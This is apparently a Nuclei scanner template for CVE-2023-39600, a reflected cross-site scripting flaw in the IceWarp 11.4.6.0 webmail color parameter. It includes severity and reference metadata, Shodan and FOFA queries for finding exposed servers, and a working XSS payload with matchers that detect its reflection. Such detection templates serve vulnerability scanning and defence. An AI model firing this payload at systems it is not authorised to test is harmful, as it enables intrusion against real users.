id: CVE-2023-39600

info:
  name: IceWarp 11.4.6.0 - Cross-Site Scripting
  author: Imjust0
  severity: medium
  description: |
    IceWarp 11.4.6.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the color parameter.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  reference:
    - https://medium.com/@katikitala.sushmitha078/cross-site-scripting-reflected-xss-in-icewarp-server-cve-2023-39600-310a7e1c8817
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39600
    - https://icewarp.com
    - https://medium.com/%40katikitala.sushmitha078/cross-site-scripting-reflected-xss-in-icewarp-server-cve-2023-39600-310a7e1c8817
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-39600
    cwe-id: CWE-79
    epss-score: 0.01165
    epss-percentile: 0.64175
    cpe: cpe:2.3:a:icewarp:icewarp:11.4.6.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: icewarp
    product: icewarp
    shodan-query:
      - title:"icewarp"
      - http.favicon.hash:2144485375
      - http.title:"icewarp"
    fofa-query:
      - title="icewarp"
      - icon_hash=2144485375
    google-query: intitle:"icewarp"
  tags: cve,cve2023,icewarp,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/webmail/?color="><img src=x onerror=confirm(document.domain)>'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<img src=x onerror=confirm(document.domain)>"
          - "IceWarp"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402202438620188fa633ad7906feb77657f0e5e7a8057a58678383df19375a9073833022013b4157bdf4abe4f4ff748352bb00cfbe96bf60c1489359301bb797daeed9906:922c64590222798bb761d5b6d8e72950